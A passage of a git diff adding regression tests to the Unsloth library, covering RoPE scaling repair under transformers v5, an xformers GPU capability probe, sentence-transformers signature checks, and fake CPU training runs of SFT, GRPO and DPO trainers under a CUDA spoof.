+def test_xformers_leaves_fp32_qkv_below_sm100(monkeypatch):
+    # Below sm_100 the cutlass op handles fp32 natively, so it must be passed through as-is.
+    assert _run_xformers(monkeypatch, torch.float32, False) == torch.float32
diff --git a/tests/utils/test_rope_scaling_drift.py b/tests/utils/test_rope_scaling_drift.py
index b976654f87..b2ec1e5a20 100644
--- a/tests/utils/test_rope_scaling_drift.py
+++ b/tests/utils/test_rope_scaling_drift.py
@@ -31,6 +31,7 @@ requires_cuda = pytest.mark.skipif(
 
 REPO_ROOT = Path(__file__).resolve().parents[2]
 LLAMA_PY = REPO_ROOT / "unsloth" / "models" / "llama.py"
+LOADER_PY = REPO_ROOT / "unsloth" / "models" / "loader.py"
 
 CLASS_NAME = "LlamaRotaryEmbedding"
 
@@ -78,42 +79,88 @@ def _config_branch(init_fn):
     return None
 
 
+def _iter_names_and_calls(node):
+    """(attribute/string names, bare-name calls, method-call attrs) under node."""
+    names, calls, call_attrs = set(), set(), set()
+    for sub in ast.walk(node):
+        if isinstance(sub, ast.Attribute):
+            names.add(sub.attr)
+        elif isinstance(sub, ast.Constant) and isinstance(sub.value, str):
+            names.add(sub.value)
+        elif isinstance(sub, ast.Call):
+            if isinstance(sub.func, ast.Name):
+                calls.add(sub.func.id)
+            elif isinstance(sub.func, ast.Attribute):
+                call_attrs.add(sub.func.attr)
+    return names, calls, call_attrs
+
+
+def _find_method(source_path, class_name, method_name):
+    for node in ast.walk(ast.parse(source_path.read_text())):
+        if isinstance(node, ast.ClassDef) and node.name == class_name:
+            for sub in node.body:
+                if isinstance(sub, ast.FunctionDef) and sub.name == method_name:
+                    return sub
+    return None
+
+
+def _find_function(source_path, function_name):
+    for node in ast.walk(ast.parse(source_path.read_text())):
+        if isinstance(node, ast.FunctionDef) and node.name == function_name:
+            return node
+    return None
+
+
 def test_config_path_inspects_rope_scaling():
     init_fn = _load_class_init()
-    branch = _config_branch(init_fn)
-    assert branch is not None, (
-        f"{CLASS_NAME}.__init__ no longer has an `if config is not None:` "
-        "branch; the config constructor path must read config.rope_scaling so "
-        "scaled models (llama3/linear/longrope) are not silently unscaled "
-        "(issue #2405)"
-    )
+    # inv_freq is derived through the shared _unsloth_recompute_inv_freq helper
+    # (or still inlined in the config branch on older layouts); whichever scope
+    # holds the scaling must read config.rope_scaling and call
+    # _compute_config_rope_inv_freq, else scaled models run unscaled (#2405).
+    _, _, init_call_attrs = _iter_names_and_calls(init_fn)
+    scope = _find_method(LLAMA_PY, CLASS_NAME, "_unsloth_recompute_inv_freq")
+    if scope is not None:
+        assert "_unsloth_recompute_inv_freq" in init_call_attrs, (
+            f"{CLASS_NAME}.__init__ no longer derives inv_freq via "
+            "_unsloth_recompute_inv_freq; keep the constructor wired to the "
+            "shared scaling helper or scaled configs silently lose RoPE scaling "
+            "(issue #2405)."
+        )
+    else:
+        scope = _config_branch(init_fn)
+        assert scope is not None, (
+            f"{CLASS_NAME}.__init__ has neither a _unsloth_recompute_inv_freq "
+            "helper nor an `if config is not None:` branch; the config path must "
+            "apply llama3/linear/longrope scaling (issue #2405)."
+        )
 
-    names = set()
-    for stmt in branch.body:
-        for sub in ast.walk(stmt):
-            if isinstance(sub, ast.Attribute):
-                names.add(sub.attr)
-            elif isinstance(sub, ast.Constant) and isinstance(sub.value, str):
-                names.add(sub.value)
+    names, called, _ = _iter_names_and_calls(scope)
     assert "rope_scaling" in names, (
-        f"{CLASS_NAME}.__init__ config path does not reference `rope_scaling`. "
-        "When a rotary class is built straight from a config (the path modern "
-        "transformers takes, since rotary moved to LlamaModel), the llama3 / "
-        "linear / longrope scaling must still be applied; otherwise long inputs "
-        "produce repeated-pattern gibberish (issue #2405)."
+        f"{CLASS_NAME} inv_freq computation does not reference `rope_scaling`; "
+        "scaled models (llama3/linear/longrope) would run unscaled and produce "
+        "repeated-pattern gibberish past the original context (issue #2405)."
+    )
+    assert "_compute_config_rope_inv_freq" in called, (
+        f"{CLASS_NAME} inv_freq computation no longer calls "
+        "_compute_config_rope_inv_freq; keep it wired or scaled configs silently "
+        "lose RoPE scaling again (issue #2405)."
     )
 
-    called = {
-        sub.func.id
-        for stmt in branch.body
-        for sub in ast.walk(stmt)
-        if isinstance(sub, ast.Call) and isinstance(sub.func, ast.Name)
-    }
-    assert "_compute_config_rope_inv_freq" in called, (
-        f"{CLASS_NAME}.__init__ config path no longer calls "
-        "_compute_config_rope_inv_freq; the CPU behavioral tests below cover "
-        "that helper directly, so the constructor must stay wired to it or "
-        "scaled configs silently lose RoPE scaling again (issue #2405)."
+
+def test_v5_repair_reuses_recompute():
+    # transformers v5 blanks non-persistent buffers on load, so
+    # loader._fix_rope_inv_freq rebuilds inv_freq; it must reuse the scaled
+    # recompute, since an unscaled rebuild re-drops llama3 scaling (#2405).
+    fix_fn = _find_function(LOADER_PY, "_fix_rope_inv_freq")
+    assert fix_fn is not None, (
+        "loader._fix_rope_inv_freq not found; if it was renamed, update this "
+        "guard so the v5 rope repair keeps applying config scaling (issue #2405)."
+    )
+    _, _, call_attrs = _iter_names_and_calls(fix_fn)
+    assert "_unsloth_recompute_inv_freq" in call_attrs, (
+        "loader._fix_rope_inv_freq no longer rebuilds inv_freq via "
+        "_unsloth_recompute_inv_freq; transformers v5 blanks the buffer on load "
+        "and an unscaled rebuild re-drops llama3 scaling (issue #2405)."
     )
 
 
@@ -189,6 +236,117 @@ def test_default_rope_type_matches_vanilla_inv_freq():
     )
 
 
+def test_recompute_helper_scales_on_cpu():
+    # Exercise the exact method loader._fix_rope_inv_freq calls, without CUDA.
+    from unsloth.models.llama import LlamaRotaryEmbedding, _get_rope_theta
+
+    def recompute(config):
+        rot = object.__new__(LlamaRotaryEmbedding)
+        rot.attention_scaling = 1.0
+        rot.base = _get_rope_theta(config, 10000.0)
+        rot.dim = config.head_dim
+        rot._unsloth_rope_config = config
+        return rot._unsloth_recompute_inv_freq().float().cpu()
+
+    config = _make_config(LLAMA3_ROPE_SCALING)
+    assert torch.allclose(
+        recompute(config), _reference_inv_freq(config, "llama3"), rtol = 1e-4, atol = 1e-6
+    ), "_unsloth_recompute_inv_freq dropped llama3 scaling (issue #2405)."
+    assert torch.allclose(
+        recompute(_make_config(None)), _vanilla_inv_freq(), rtol = 1e-4, atol = 1e-6
+    ), "_unsloth_recompute_inv_freq must return vanilla inv_freq when unscaled."
+
+
+def test_extended_rope_scaling_keeps_llama3_and_carries_theta():
+    # Long-context extension keeps native llama3, but falls back to linear for every other
+    # type (the patched attention constructor only rebuilds linear/llama3/longrope), and the
+    # linear dict carries rope_theta so transformers v5 does not fall back to base 10000.
+    from types import SimpleNamespace
+
+    from unsloth.models.llama import _extended_rope_scaling
+
+    # llama3 model: keep native scaling, do not synthesize linear.
+    scaling, native = _extended_rope_scaling(_make_config(LLAMA3_ROPE_SCALING), 2.0)
+    assert (
+        scaling is None and native == "llama3"
+    ), "must keep native llama3 scaling instead of overwriting it with linear."
+
+    # yarn is not rebuildable by the patcher -> keep the safe linear fallback, not native.
+    yarn = SimpleNamespace(rope_scaling = {"rope_type": "yarn", "factor": 2.0}, rope_theta = 500000.0)
+    scaling, _ = _extended_rope_scaling(yarn, 2.0)
+    assert scaling == {
+        "type": "linear",
+        "factor": 2.0,
+        "rope_theta": 500000.0,
+    }, f"yarn must fall back to linear (patcher cannot rebuild it), got {scaling}."
+
+    # plain RoPE with theta only under v5 rope_parameters: linear must carry rope_theta.
+    v5 = SimpleNamespace(rope_parameters = {"rope_type": "default", "rope_theta": 1000000.0})
+    scaling, _ = _extended_rope_scaling(v5, 2.0)
+    assert scaling == {
+        "type": "linear",
+        "factor": 2.0,
+        "rope_theta": 1000000.0,
+    }, f"linear override dropped rope_theta on v5 (got {scaling}); base would fall back to 10000."
+
+
+def test_extended_rotary_reads_config_factor():
+    # LlamaExtendedRotaryEmbedding must honor the config factor, not hardcode 8
+    # (Llama-3.2 uses 32); otherwise the subclass path re-drops scaling (#2405).
+    from types import SimpleNamespace
+
+    from unsloth.models.llama import LlamaExtendedRotaryEmbedding
+
+    rot = object.__new__(LlamaExtendedRotaryEmbedding)
+    rot.base = ROPE_THETA
+    rot.dim = HEAD_DIM
+    rot._unsloth_rope_config = SimpleNamespace(
+        rope_scaling = {
+            "rope_type": "llama3",
+            "factor": 32.0,
+            "low_freq_factor": 1.0,
+            "high_freq_factor": 4.0,
+            "original_max_position_embeddings": 8192,
+        }
+    )
+    vanilla = _vanilla_inv_freq()
+    scaled = rot._apply_inv_freq_scaling(vanilla).reshape(-1)
+    ratio = float(vanilla[-1]) / float(scaled[-1])
+    assert abs(ratio - 32.0) < 1e-3, (
+        f"LlamaExtendedRotaryEmbedding ignored config factor 32 (ratio {ratio}); the "
+        "low-frequency band must be divided by the config factor (issue #2405)."
+    )
+
+
+def test_extended_rotary_reads_rope_parameters_v5():
+    # transformers v5 stores scaling under rope_parameters (rope_scaling is a
+    # back-compat shim that may be removed); the factor must still be read.
+    from types import SimpleNamespace
+
+    from unsloth.models.llama import LlamaExtendedRotaryEmbedding
+
+    rot = object.__new__(LlamaExtendedRotaryEmbedding)
+    rot.base = ROPE_THETA
+    rot.dim = HEAD_DIM
+    rot._unsloth_rope_config = SimpleNamespace(
+        rope_scaling = None,
+        rope_parameters = {
+            "rope_type": "llama3",
+            "factor": 32.0,
+            "low_freq_factor": 1.0,
+            "high_freq_factor": 4.0,
+            "original_max_position_embeddings": 8192,
+        },
+    )
+    vanilla = _vanilla_inv_freq()
+    scaled = rot._apply_inv_freq_scaling(vanilla).reshape(-1)
+    ratio = float(vanilla[-1]) / float(scaled[-1])
+    assert abs(ratio - 32.0) < 1e-3, (
+        f"Extended rotary ignored rope_parameters factor 32 (ratio {ratio}); v5 "
+        "keeps the factor under rope_parameters, not rope_scaling."
+    )
+
+
 def _cos_at_position(rot, position):
     """cos row at one position, built like _set_cos_sin_cache but CPU-only."""
     inv_freq = rot.inv_freq.float().cpu()
@@ -256,6 +414,87 @@ def test_extended_cache_keeps_scaling_after_growth():
     )
 
 
+def _blank_nonpersistent_buffers(module):
+    """Mimic transformers v5 meta-load: overwrite non-persistent buffers with garbage."""
+    for name, buf in list(module.named_buffers()):
+        leaf = module
+        *parents, attr = name.split(".")
+        for part in parents:
+            leaf = getattr(leaf, part)
+        if attr in getattr(leaf, "_non_persistent_buffers_set", set()):
+            setattr(leaf, attr, torch.rand_like(buf))
+
+
+def _build_llama3_rotary():
+    from unsloth.models import llama as llama_mod
+    config = _make_config(LLAMA3_ROPE_SCALING)
+    return llama_mod.LlamaRotaryEmbedding(config = config), config
+
+
+def _build_longrope_rotary():
+    from types import SimpleNamespace
+
+    from unsloth.models import llama as llama_mod
+
+    short_factor, long_factor = [1.05] * 48, [1.3] * 48
+    rot = llama_mod.LongRopeRotaryEmbedding(
+        dim = 96,
+        max_position_embeddings = 131072,
+        original_max_position_embeddings = 4096,
+        base = ROPE_THETA,
+        short_factor = short_factor,
+        long_factor = long_factor,
+    )
+    config = SimpleNamespace(
+        rope_scaling = {
+            "rope_type": "longrope",
+            "short_factor": short_factor,
+            "long_factor": long_factor,
+            "original_max_position_embeddings": 4096,
+        }
+    )
+    return rot, config
+
+
+@requires_cuda
+@pytest.mark.parametrize(
+    "build", [_build_llama3_rotary, _build_longrope_rotary], ids = ["llama3", "longrope"]
+)
+def test_v5_blank_repair_roundtrip(build):
+    # Build scaled -> blank non-persistent buffers (what transformers v5 does on
+    # load) -> run the repair -> every buffer must return to its scaled value.
+    # Family-agnostic: encodes no scaling math, so it guards any rotary that
+    # keeps scaling in a buffer (issue #2405 / PR #6907).
+    from unsloth.models import loader
+
+    # The repair only runs on transformers v5 (it is what blanks the buffers);
+    # on v4 _fix_rope_inv_freq is a no-op, so the round-trip cannot restore.
+    if not loader._NEEDS_ROPE_FIX:
+        pytest.skip("transformers < 5 does not blank rope buffers; repair is a no-op")
+
+    rot, config = build()
+    snapshot = {name: buf.detach().clone() for name, buf in rot.named_buffers()}
+    assert snapshot, "rotary registers no buffers; nothing to guard"
+
+    _blank_nonpersistent_buffers(rot)
+    assert any(
+        not torch.equal(rot.get_buffer(name), snapshot[name]) for name in snapshot
+    ), "blanking changed no buffer; the round-trip would be vacuous"
+
+    wrapper = torch.nn.Module()
+    wrapper.add_module("rotary_emb", rot)
+    wrapper.config = config
+    loader._fix_rope_inv_freq(wrapper)
+
+    for name in snapshot:
+        assert torch.allclose(
+            rot.get_buffer(name).cpu(), snapshot[name].cpu(), rtol = 1e-4, atol = 1e-6
+        ), (
+            f"{name} was not restored to its scaled value by loader._fix_rope_inv_freq "
+            "after the transformers v5 buffer blank (issue #2405 / PR #6907)."
+        )
+
+
 def test_object_style_rope_scaling_does_not_crash():
     # Object-style rope_scaling must be normalized, not .get()'d directly.
     from dataclasses import dataclass
diff --git a/tests/utils/test_xformers_capability_gate.py b/tests/utils/test_xformers_capability_gate.py
new file mode 100644
index 0000000000..7514c623e3
--- /dev/null
+++ b/tests/utils/test_xformers_capability_gate.py
@@ -0,0 +1,102 @@
+"""Regression test for unslothai/unsloth#4631: xformers must not be blanket-disabled
+on sm_120 GPUs where its kernel actually runs (a ~57% attention-memory saving over the
+SDPA packed-mask fallback). The gate now probes the real op instead of guessing by the
+compute-capability major version."""
+
+import pytest
+import torch
+import unsloth  # noqa: F401
+
+from unsloth.utils import attention_dispatch as ad
+
+
+@pytest.mark.parametrize(
+    "capability, probe_result, expect_disabled",
+    [
+        ((8, 9), None, False),  # Ada: below sm_120, never probed, always kept
+        ((9, 0), None, False),  # Hopper: below sm_120, kept
+        ((10, 0), None, False),  # Blackwell B200 (sm_100): below sm_120, kept
+        ((12, 0), True, False),  # sm_120 where the kernel runs: keep xformers
+        ((12, 0), False, True),  # sm_120 where the kernel can't run: fall back to SDPA
+    ],
+)
+def test_capability_gate(capability, probe_result, expect_disabled):
+    calls = {"n": 0}
+
+    def probe():
+        calls["n"] += 1
+        return probe_result
+
+    assert ad._xformers_disabled_for_capability(capability, probe = probe) is expect_disabled
+    # Below sm_120 the probe must not run at all (no import-time kernel launch there).
+    assert calls["n"] == (0 if capability[0] < 12 else 1)
+
+
+@pytest.mark.skipif(
+    not (torch.cuda.is_available() and ad.HAS_XFORMERS),
+    reason = "needs a CUDA GPU with a working xformers build",
+)
+@pytest.mark.skipif(
+    torch.cuda.is_available() and torch.cuda.get_device_capability()[0] >= 12,
+    reason = "on real sm_120+ the probe legitimately returns False when the build ships no "
+    "sm_120 kernel, so asserting True there would be a false failure",
+)
+def test_probe_shapes_are_valid_on_working_gpu():
+    # Guards against a malformed probe that raises on every GPU and would silently
+    # disable xformers on Blackwell even where it works. On a pre-sm_120 GPU with a
+    # functional xformers the real probe must succeed; sm_120+ is skipped above because
+    # there a False is a correct answer, not a malformed probe.
+    assert ad._xformers_runs_on_device() is True
+
+
+@pytest.mark.parametrize(
+    "supports_bf16, expected_dtype",
+    [(True, torch.bfloat16), (False, torch.float16)],
+)
+def test_probe_dtype_follows_bf16_support(monkeypatch, supports_bf16, expected_dtype):
+    # Pre-Ampere GPUs (sm < 80: Turing/Volta, e.g. T4/V100) run xformers fine in
+    # float16 but have no bfloat16 attention kernel, so a hardcoded bf16 probe would
+    # raise there, get swallowed to False, and misreport a working xformers as broken.
+    # The probe must pick its dtype from SUPPORTS_BFLOAT16 (no Turing GPU needed here).
+    captured = {}
+
+    def fake_zeros(
+        *args,
+        dtype = None,
+        **kwargs,
+    ):
+        captured["dtype"] = dtype
+        raise RuntimeError("stop after capturing the probe dtype")
+
+    monkeypatch.setattr(ad, "SUPPORTS_BFLOAT16", supports_bf16)
+    monkeypatch.setattr(ad.torch, "zeros", fake_zeros)
+    ad._xformers_runs_on_device()  # RuntimeError is swallowed; only the dtype matters
+    assert captured["dtype"] is expected_dtype
+
+
+def test_probe_syncs_and_fails_on_deferred_async_error(monkeypatch):
+    # A CUDA kernel launch is async: xformers_attention can return before the GPU
+    # reports a failure. The probe must synchronize so a deferred launch/runtime error
+    # is caught and disables xformers here, instead of surfacing later on an unrelated
+    # CUDA call (unslothai/unsloth#6828 review). No GPU needed: everything is stubbed.
+    _bias = type(
+        "B",
+        (),
+        {
+            "BlockDiagonalCausalMask": type(
+                "M", (), {"from_seqlens": staticmethod(lambda seqlens: None)}
+            )
+        },
+    )
+    monkeypatch.setattr(ad, "SUPPORTS_BFLOAT16", True)
+    monkeypatch.setattr(ad.torch, "zeros", lambda *a, **k: object())
+    monkeypatch.setattr(ad, "xformers", type("X", (), {"attn_bias": _bias}))
+    monkeypatch.setattr(ad, "xformers_attention", lambda *a, **k: None)  # "succeeds"
+
+    def deferred_cuda_error():
+        raise RuntimeError("CUDA error: an illegal memory access was encountered")
+
+    monkeypatch.setattr(ad.torch.cuda, "synchronize", deferred_cuda_error)
+    # Without the synchronize the stubbed op returns cleanly and the probe wrongly
+    # reports True; the sync surfaces the deferred error so the probe returns False.
+    assert ad._xformers_runs_on_device() is False
diff --git a/tests/version_compat/test_sentence_transformers_pinned_symbols.py b/tests/version_compat/test_sentence_transformers_pinned_symbols.py
index c0c35b9d5d..d7f9a54811 100644
--- a/tests/version_compat/test_sentence_transformers_pinned_symbols.py
+++ b/tests/version_compat/test_sentence_transformers_pinned_symbols.py
@@ -19,6 +19,8 @@ ST_TAGS = [
     "v5.2.3",
     "v5.3.0",
     "v5.4.1",
+    "v5.5.1",
+    "v5.6.0",
     "master",
 ]
 
@@ -120,6 +122,42 @@ def test_st_transformer_base_class_either_path(tag: str):
     )
 
 
+# Transformer.load classmethod: unsloth builds saved-ST modules through it (#6881).
+@pytest.mark.parametrize("tag", ST_TAGS)
+def test_st_transformer_load_accepts_unsloth_kwargs(tag: str):
+    """unsloth builds saved ST models via Transformer.load(...) so the saved
+    modality_config is honored (#6881). If .load stops accepting the hub kwargs it
+    passes (and has no **kwargs), update the fix before it silently regresses. Not
+    locating .load is a SKIP (may be inherited); the live test guards the install."""
+    candidates = [
+        "sentence_transformers/models/Transformer.py",
+        "sentence_transformers/models/transformer.py",
+        "sentence_transformers/base/modules/transformer.py",
+        "sentence_transformers/base/modules/module.py",
+    ]
+    for p in candidates:
+        src = fetch_text("UKPLab/sentence-transformers", tag, p)
+        if src is None or not has_def(src, "load", "func"):
+            continue
+        m = re.search(r"def\s+load\s*\((.*?)\)\s*(?:->[^:]*)?:", src, re.S)
+        if m is None:
+            continue
+        sig = m.group(1)
+        accepts_var_kw = "**" in sig
+        missing = [
+            kw
+            for kw in ("token", "cache_folder", "revision", "trust_remote_code")
+            if not (accepts_var_kw or re.search(rf"\b{re.escape(kw)}\b", sig))
+        ]
+        assert not missing, (
+            f"{tag}: Transformer.load in {p} no longer accepts {missing} and has no "
+            f"**kwargs; update unsloth.models.sentence_transformer._create_transformer_module "
+            f"(#6881) before it silently falls back to Transformer(...)."
+        )
+        return
+    pytest.skip(f"{tag}: Transformer.load not locatable in {candidates} (may be inherited)")
+
+
 # sentence_transformers.util: import_from_string + load_dir_path helpers unsloth calls.
 @pytest.mark.parametrize("tag", ST_TAGS)
 def test_st_util_helpers(tag: str):
diff --git a/tests/version_compat/test_trl_fake_train_cpu.py b/tests/version_compat/test_trl_fake_train_cpu.py
new file mode 100644
index 0000000000..4dae696282
--- /dev/null
+++ b/tests/version_compat/test_trl_fake_train_cpu.py
@@ -0,0 +1,285 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team.
+"""Fake CPU training runs for the Unsloth-patched SFT / GRPO / DPO trainers.
+
+The patch-run canary (test_trl_grpo_fake_run.py) only compiles + inspects the
+generated trainer source. This goes one layer deeper: it actually runs
+`trainer.train()` for a couple of steps on a CPU-only runner, under the CUDA
+spoof, wrapping a plain (tiny, random-weight) HF model in the Unsloth-patched
+trainer. That exercises the real train() loop at runtime -- data collation,
+generation (GRPO), the injected `_get_per_token_logps_and_entropies`, loss,
+backward, optimizer -- so a TRL or transformers change that breaks the loop
+(not just the source structure) surfaces here. No GPU, no meaningful numerics.
+
+What it does NOT cover: Unsloth's Triton/GPU-optimized model kernels (the
+FastLanguageModel fast path) cannot run on CPU, so this validates the
+trainer-transform + orchestration layer with a standard forward, not the
+optimized kernels.
+"""
+
+from __future__ import annotations
+
+import os
+
+# CPU-only: no torch.compile / dynamo (it reaches into the CUDA accelerator), no
+# Unsloth kernel compile, no mixed precision. Must be set before torch/unsloth.
+os.environ.setdefault("UNSLOTH_COMPILE_DISABLE", "1")
+os.environ.setdefault("TORCHDYNAMO_DISABLE", "1")
+os.environ.setdefault("TORCH_COMPILE_DISABLE", "1")
+os.environ.setdefault("ACCELERATE_MIXED_PRECISION", "no")
+
+import importlib
+import importlib.util
+import sys
+from pathlib import Path
+
+import pytest
+
+
+# torch is needed for everything below (daily-fresh-fetch collects this dir with
+# only pytest installed); skip the whole module cleanly when it is absent.
+if importlib.util.find_spec("torch") is None:
+    pytest.skip(
+        "torch not installed; fake CPU train needs the real runtime", allow_module_level = True
+    )
+
+# Apply the CUDA spoof before any unsloth-touching import.
+_SPOOF_DIR = Path(__file__).resolve().parents[1]
+sys.path.insert(0, str(_SPOOF_DIR))
+import _zoo_aggressive_cuda_spoof as _spoof  # noqa: E402
+
+_spoof.apply()
+
+import torch  # noqa: E402
+
+
+# The generated GRPO trainer hard-decorates hot functions with @torch.compile,
+# which dynamo processes even under the disable env vars, reaching into
+# torch.accelerator (real CUDA) on a GPU-less box. Make torch.compile an eager
+# passthrough before unsloth generates/imports the trainer -- same logic, no
+# dynamo. (An eager CPU run is exactly what we want here.)
+def _eager_compile(
+    model = None,
+    *args,
+    **kwargs,
+):
+    if callable(model):
+        return model
+    return lambda fn: fn
+
+
+torch.compile = _eager_compile
+
+# Belt-and-suspenders: if any @torch.compile still routes through dynamo, let it
+# fall back to eager instead of crashing, and stop its stream-capture probe from
+# reaching torch.accelerator -> real CUDA on a GPU-less box.
+try:
+    import torch._dynamo  # noqa: E402
+    torch._dynamo.config.suppress_errors = True
+except Exception:
+    pass
+if hasattr(torch, "accelerator"):
+    torch.accelerator.is_available = lambda *a, **k: False
+
+
+# Redirect any `device="cuda"` tensor allocation / `.to("cuda")` / `.cuda()` to
+# CPU. The aggressive spoof deliberately keeps real allocators, but a fake CPU
+# train needs cuda-targeted ops (e.g. inductor's init_gpu_context does
+# `torch.empty(1, device="cuda")`) to land on CPU instead of erroring.
+def _is_cuda_dev(d):
+    try:
+        return d is not None and torch.device(d).type == "cuda"
+    except Exception:
+        return False
+
+
+for _name in (
+    "empty",
+    "zeros",
+    "ones",
+    "full",
+    "tensor",
+    "arange",
+    "randn",
+    "rand",
+    "randint",
+    "empty_like",
+    "zeros_like",
+    "ones_like",
+):
+    _orig = getattr(torch, _name, None)
+    if _orig is None:
+        continue
+
+    def _redir(
+        *args,
+        _orig = _orig,
+        **kwargs,
+    ):
+        if _is_cuda_dev(kwargs.get("device")):
+            kwargs["device"] = "cpu"
+        return _orig(*args, **kwargs)
+
+    setattr(torch, _name, _redir)
+
+_orig_to = torch.Tensor.to
+
+
+def _to_cpu(self, *args, **kwargs):
+    args = tuple("cpu" if _is_cuda_dev(a) else a for a in args)
+    if _is_cuda_dev(kwargs.get("device")):
+        kwargs["device"] = "cpu"
+    return _orig_to(self, *args, **kwargs)
+
+
+torch.Tensor.to = _to_cpu
+torch.Tensor.cuda = lambda self, *a, **k: self
+
+# Extra CUDA stubs the aggressive spoof lacks, needed to walk a real train():
+# Adam's _cuda_graph_capture_health_check() probes stream capture.
+torch.cuda.is_current_stream_capturing = lambda *a, **k: False
+try:
+    import torch.cuda.graphs as _cg  # noqa: E402
+    _cg._cuda_isCurrentStreamCapturing = lambda *a, **k: False
+except Exception:
+    pass
+
+# A broken libmlx.so in the shared site-packages crashes transformers' Mac-only
+# is_mlx_array probe on Linux; disable it.
+try:
+    import transformers.utils.generic as _g  # noqa: E402
+    _g._is_mlx_available = False
+except Exception:
+    pass
+
+
+# Dense (non-MoE) tiny model on purpose: MoE models route through Unsloth's
+# grouped_gemm Triton kernel, which is CUDA-only and cannot run on a CPU runner.
+_MODEL = "hf-internal-testing/tiny-random-LlamaForCausalLM"
+
+
+def _load_plain():
+    """Tiny plain HF model + tokenizer on CPU. Skips (not fails) if the model
+    cannot be fetched -- that is a network/hub issue, not an unsloth regression."""
+    from transformers import AutoModelForCausalLM, AutoTokenizer
+
+    try:
+        tok = AutoTokenizer.from_pretrained(_MODEL)
+        model = AutoModelForCausalLM.from_pretrained(_MODEL, dtype = torch.float32)
+    except OSError as e:  # hub unreachable / model missing
+        pytest.skip(f"could not fetch {_MODEL} (network/hub): {str(e)[:150]}")
+    if tok.pad_token is None:
+        tok.pad_token = tok.eos_token
+    # Unsloth's GRPO path calls model.for_training()/for_inference() (added by
+    # FastLanguageModel). A plain HF model lacks them; supply minimal train/eval
+    # equivalents so the loop proceeds without the optimized wrapper.
+    if not hasattr(model, "for_training"):
+        model.for_training = lambda *a, **k: model.train()
+    if not hasattr(model, "for_inference"):
+        model.for_inference = lambda *a, **k: model.eval()
+    return model.to("cpu"), tok
+
+
+@pytest.fixture(autouse = True)
+def _require_stack():
+    global torch  # the `import torch._dynamo` below would otherwise shadow it as local
+    if importlib.util.find_spec("unsloth") is None or importlib.util.find_spec("trl") is None:
+        pytest.skip("unsloth or trl not installed")
+    # A real import failure is a regression we want to surface, so do not guard it.
+    import unsloth  # noqa: F401  -- patches TRL trainers to the Unsloth variants
+
+    # `import unsloth` reinstalls the real torch.compile (overwriting the eager
+    # passthrough set at module load), so the GRPO hot path (chunked_selective_
+    # log_softmax) would really compile -- and inductor picks the spoofed CUDA
+    # device, crashing on device props (`gcnArchName`). Re-apply the eager
+    # passthrough and flip dynamo's call-time kill switch so every @torch.compile
+    # runs eager regardless of when it was decorated. CPU eager is what we want.
+    torch.compile = _eager_compile
+    try:
+        import torch._dynamo  # noqa: E402
+        torch._dynamo.config.disable = True
+    except Exception:
+        pass
+
+
+def test_sft_trains_on_cpu(tmp_path):
+    from datasets import Dataset
+    from trl import SFTConfig, SFTTrainer
+
+    assert SFTTrainer.__name__ == "UnslothSFTTrainer", "SFT patch did not apply"
+    model, tok = _load_plain()
+    ds = Dataset.from_list([{"text": "The quick brown fox jumps over the lazy dog."}] * 8)
+    cfg = SFTConfig(
+        output_dir = str(tmp_path / "ci_sft"),
+        per_device_train_batch_size = 2,
+        max_steps = 2,
+        logging_steps = 1,
+        report_to = "none",
+        save_strategy = "no",
+        use_cpu = True,
+        max_length = None,
+        padding_free = False,
+        dataset_text_field = "text",
+        fp16 = False,
+        bf16 = False,
+        optim = "adamw_torch",
+    )
+    SFTTrainer(model = model, processing_class = tok, args = cfg, train_dataset = ds).train()
+
+
+def test_grpo_trains_on_cpu(tmp_path):
+    from datasets import Dataset
+    from trl import GRPOConfig, GRPOTrainer
+
+    assert GRPOTrainer.__name__ == "UnslothGRPOTrainer", "GRPO patch did not apply"
+    model, tok = _load_plain()
+    ds = Dataset.from_list([{"prompt": "hi there"}] * 4)
+    cfg = GRPOConfig(
+        output_dir = str(tmp_path / "ci_grpo"),
+        per_device_train_batch_size = 2,
+        num_generations = 2,
+        max_steps = 2,
+        max_completion_length = 8,
+        logging_steps = 1,
+        report_to = "none",
+        temperature = 1.0,
+        beta = 0.0,
+        save_strategy = "no",
+        use_cpu = True,
+        use_vllm = False,
+        fp16 = False,
+        bf16 = False,
+        optim = "adamw_torch",
+    )
+    GRPOTrainer(
+        model = model,
+        processing_class = tok,
+        reward_funcs = [lambda completions, **k: [float(len(c)) for c in completions]],
+        args = cfg,
+        train_dataset = ds,
+    ).train()
+
+
+def test_dpo_trains_on_cpu(tmp_path):
+    from datasets import Dataset
+    from trl import DPOConfig, DPOTrainer
+
+    assert DPOTrainer.__name__ == "UnslothDPOTrainer", "DPO patch did not apply"
+    model, tok = _load_plain()
+    ds = Dataset.from_list(
+        [{"prompt": "Hi", "chosen": " hello friend", "rejected": " go away"}] * 8
+    )
+    cfg = DPOConfig(
+        output_dir = str(tmp_path / "ci_dpo"),
+        per_device_train_batch_size = 2,
+        max_steps = 2,
+        logging_steps = 1,
+        report_to = "none",
+        save_strategy = "no",
+        use_cpu = True,
+        beta = 0.1,
+        fp16 = False,
+        bf16 = False,
+        optim = "adamw_torch",
+    )
+    DPOTrainer(model = model, processing_class = tok, args = cfg, train_dataset = ds).train()
diff --git a/tests/version_compat/test_trl_grpo_fake_run.py b/tests/version_compat/test_trl_grpo_fake_run.py
new file mode 100644
index 0000000000..c79c9955da
--- /dev/null
+++ b/tests/version_compat/test_trl_grpo_fake_run.py
@@ -0,0 +1,246 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team.
+"""Fake-CUDA GRPO patch run against the *installed* TRL (CPU-only, no training).
+
+The static symbol/source-string canaries (test_trl_grpo_pinned_symbols.py)
+grep raw TRL source; they never execute unsloth's transforms. This test drives
+the real pipeline: under the aggressive CUDA spoof it imports unsloth and calls
+`_patch_trl_rl_trainers_impl`, which reads the installed GRPOTrainer via
+inspect.getsource, applies every rl.py/rl_replacements.py rewrite, and compiles
+the result into an UnslothGRPOTrainer. A structural TRL change that slips past
+the greps (e.g. TRL 1.7.0's 2->3-tuple return arity, or a restructured PEFT
+ref-adapter block) surfaces here as a transform error, a broken generated
+source, or a violated contract -- with no GPU and no training run.
+
+Meant to run in CI against `trl==latest` and `trl @ main` (see
+version-compat-ci.yml). The tests/conftest.py harness pre-loads device_type
+with DEVICE_COUNT=0 so unsloth's kernel init takes the CPU-safe path.
+"""
+
+from __future__ import annotations
+
+import ast
+import importlib
+import importlib.machinery
+import importlib.util
+import inspect
+import sys
+import types
+from pathlib import Path
+
+import pytest
+
+
